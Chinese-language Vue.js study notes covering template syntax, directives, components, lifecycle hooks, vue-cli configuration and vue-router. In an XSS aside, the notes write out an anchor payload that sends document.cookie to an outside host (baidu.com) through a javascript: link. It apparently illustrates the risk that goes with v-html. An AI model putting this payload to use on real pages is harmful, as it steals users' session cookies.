一. Vue 基础

1. 模板语法

(1)插值

a.文本 {{}}

b.纯HTML

v-html ，防止XSS,csrf(

(1) 前端过滤

(2) 后台转义(< > < >)(3) 给cookie 加上属性 http

)

c.表达式

(2)指令:是带有 v- 前缀的特殊属性

v-bind

v-if v-show

v-on:click

v-for

(3)缩写

v-bind:src => :src

v-on:click => @click

2. class 与 style

(1)绑定HTML Class

-对象语法

-数组语法

(2)绑定内联样式

-对象语法

-数组语法

//需要将 font-size =>fontSize

3. 条件渲染

1 <ahref=javascript:location.href='http://www.baidu.com?

cookie='+document.cookie>click</a>

2 // 删除& nbsp; 和 cookie前面的空格

(1)v-if

(2)v-else v-else-if

(3)template v-if ,包装元素template 不会被创建(4)v-show

4. 列表渲染

(1)v-for (特殊 v-for="n in 10")

a. in

b. of

(2)key:

*跟踪每个节点的身份，从而重用和重新排序现有元素

*理想的 key 值是每项都有的且唯一的 id。data.id

(3)数组更新检测

a. 使用以下方法操作数组，可以检测变动

push() pop() shift() unshift() splice() sort() reverse()

b. filter(), concat() 和 slice() ,map(),新数组替换旧数组

c. 不能检测以下变动的数组

vm.items[indexOfItem] = newValue

*解决* (1)Vue.set(example1.items, indexOfItem, newValue)

(2)splice

(4)应用:显示过滤结果

5. 事件处理

(1)监听事件-直接触发代码

(2)方法事件处理器-写函数名 handleClick(3)内联处理器方法-执行函数表达式 handleClick($event)(4)事件修饰符 https://cn.vuejs.org/v2/guide/events.html(5)按键修饰符

6. 表单控件绑定/双向数据绑定

v-model

(1)基本用法

$event 事件对象

-购物车

(2)修饰符

.lazy :失去焦点同步一次

.number :格式化数字

.trim : 去除首尾空格

一. Vue组件

1. axios与fetch实现数据请求

(1)fetch

why:

XMLHttpRequest 是一个设计粗糙的 API，配置和调用方式非常混乱，而且基于事件的异步模型写起来不友好。

兼容性不好

polyfill:

https://github.com/camsong/fetch-ie8

//get

注意:

Fetch 请求默认是不带 cookie 的，需要设置 fetch(url, {credentials:'include'})

(2) axios

2. 计算属性

复杂逻辑,模板难以维护

(1) 基础例子

(2) 计算缓存 VS methods

-计算属性是基于它们的依赖进行缓存的。

-计算属性只有在它的相关依赖发生改变时才会重新求值

(3) 计算属性 VS watch

- v-model

3. Mixins

混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。

混入对象可以包含任意组件选项。

当组件使用混入对象时，所有混入对象的选项将被混入该组件本身的选项。

https://cn.vuejs.org/v2/guide/mixins.html#%E5%9F%BA%E7%A1%80

4. 虚拟dom与diff算法 key的作用

5. 组件化开发基础

扩展 HTML 元素，封装可重用的代码

6. 组件注册方式

a.全局组件

Vue.component

b.局部组件

7. 组件编写方式与Vue实例的区别

*自定义组件需要有一个root element

*父子组件的data是无法共享*组件可以有data，methods,computed....,但是data 必须是一个函数

8. 组件通信

i. 父子组件传值 (props down, events up)

ii. 属性验证

props:{name:Number}

Number,String,Boolean,Array,Object,Function,null(不限制类型)

iii. 事件机制

a.使用 $on(eventName) 监听事件b.使用 $emit(eventName) 触发事件

iv. Ref

this.$refs.mytext

v. 事件总线

var bus = new Vue();

* mounted生命周期中进行监听

9. 动态组件

*<component> 元素，动态地绑定多个组件到它的 is 属性

*<keep-alive> 保留状态，避免重新渲染

父传子：props:{name:Number}

子传父： 1）$emit 传值以及触发父元素事件   2）ref 直接获取子元素属性

非父子关系传值：建立中央事件总线作为中转站

10.监听事件

watch和methods平级

1.watch监听数据变化

使用这个 属性，可以监视 data 中指定数据的变化，然后触发这个 watch 中对应的 function 处理函数

该方法可以不用绑定事件

二. Vue 进阶

1. slot插槽 (内容分发)

有点类似父子控制状态方式，可代替，用起来更方便、简洁

a. 单个slot

b. 具名slot

*混合父组件的内容与子组件自己的模板-->内容分发*父组件模板的内容在父组件作用域内编译;子组件模板的内容在子组件作用域内编译。

2. transition过渡

Vue 在插入、更新或者移除 DOM 时，提供多种不同方式的应用过渡效果。

(1)单元素/组件过渡

* css过渡

* css动画

* 结合animate.css动画库

(2) 多个元素过渡(设置key)

*当有相同标签名的元素切换时，需要通过 key 特性设置唯一的值来标记以让 Vue 区分它们，否则 Vue 为

了效率只会替换相同标签内部的内容。

mode:in-out ; out-in

(3)多个组件过渡

(4)列表过渡(设置key)

*<transition-group>不同于 transition， 它会以一个真实元素呈现:默认为一个 <span>。你也可以通过

tag 特性更换为其他元素。

* 提供唯一的 key 属性值

3. 生命周期

i. 生命周期各个阶段

https://cn.vuejs.org/v2/guide/instance.html#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E5%9B%BE%E7%A4%BA

vue每个组件都是独立的，每个组件都有一个属于它的生命周期，从一个组件创建、数据初始化、挂载、更新、销毁，这就是一个组件所谓的生命周期。在组件中具体的方法有:

    beforeCreate：

在实例初始化之后，数据观测(data observer) 和 event/watcher 事件配置之前被调用。

    created：

实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。

    beforeMount：

在挂载开始之前被调用：相关的 render 函数首次被调用。

    mounted：

el 被新创建的 vm.$el 替换，并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素，当 mounted 被调用时 vm.$el 也在文档内。

    beforeUpdate：

数据更新时调用，发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态，这不会触发附加的重渲染过程。

    updated：

由于数据更改导致的虚拟 DOM 重新渲染和打补丁，在这之后会调用该钩子。

当这个钩子被调用时，组件 DOM 已经更新，所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下，你应该避免在此期间更改状态，因为这可能会导致更新无限循环。

该钩子在服务器端渲染期间不被调用。

    beforeDestroy：

实例销毁之前调用。在这一步，实例仍然完全可用。

    destroyed：

Vue 实例销毁后调用。调用后，Vue 实例指示的所有东西都会解绑定，所有的事件监听器会被移除，所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。

ii. 生命周期钩子函数的触发条件与作用

4. swiper学习

https://www.swiper.com.cn/

5. 自定义组件的封装

自定义封装swiper组件(基于swiper)注意: 防止swipe初始化过早

6. 自定义指令

(1)自定义指令介绍 directives

(2)钩子函数

* 参数 el,binding,vnode(vnode.context)

* bind,inserted,update,componentUpdated,unbind

(3)函数简写

(4)自定义指令-轮播

*inserted 插入最后一个元素时调用(vnode.context.datalist.length-1)

*this.$nextTick()

7. 过滤器

https://cn.vuejs.org/v2/guide/filters.html

ele图片转换，猫眼电影图片转换

实例已经创建完成之后被调用。在这一步，实例已完成以下的配置：数据观测(data observer)，属性和方法的运算， watch/event 事件回调。然而，挂载阶段还没开始，$el 属性目前不可见。

三. Vue 进阶

1.单文件组件

https://cn.vuejs.org/v2/guide/single-file-components.html

2.vue-cli3.0的使用

npm install -g @vue/cli (一次安装) node-sass需要单独处理

vue create myapp

*npm run serve 开发环境构建

*npm run build 生产环境构建

*npm run lint 代码检测工具(会自动修正)

3. Vue.config.js的配置

(1) proxy代理

https://cli.vuejs.org/zh/config/#%E5%85%A8%E5%B1%80-cli-%E9%85%8D%E7%BD%AE

(2) alias别名配置

@ is an alias to /src

(3) vue.config.js 中配置 publicPath: './',

在类似 Cordova hybrid 应用的文件系统中(配合hash模式)

(4)关闭eslint

vue.config.js lintOnSave: false.eslintrc 删除 '@vue/standard'

npm run lint (eslint自动修复格式不规范错误)

(5) Json-server实现mock数据

https://github.com/typicode/json-server

注意: 不支持string, number 类型

(6) MPA(多页面)应用的配置

https://cli.vuejs.org/zh/config/#pages

4. 利用vue-cli进行组件化开发

4. 利用vue-cli进行组件化开发

迁移todolist、swiper案例到vue-cli中

进阶

1. SPA概念（单页面应用）

i. spa原理

ii. 优缺点

2.vue-router

开始

动态路由匹配

嵌套路由

编程式导航 (js跳转) vs 声明式导航<router-link>

命名路由

命名视图

重定向和别名{

path:"*",

redirect:"/home"

}

HTML5 History模式vue支持两种模式

a. hash #/home

b. history /home

路由守卫&路由拦截a. 全局拦截

b. 单个拦截

(1)hash路由 ==> location.hash 切换

window.onhashchange 监听路径的切换

(2)history路由==> history.pushState 切换

window.onpopstate 监听路径的切换

4. 项目

(1) 启动案例项目开发

(2) 利用vue-router搭建项目SPA结构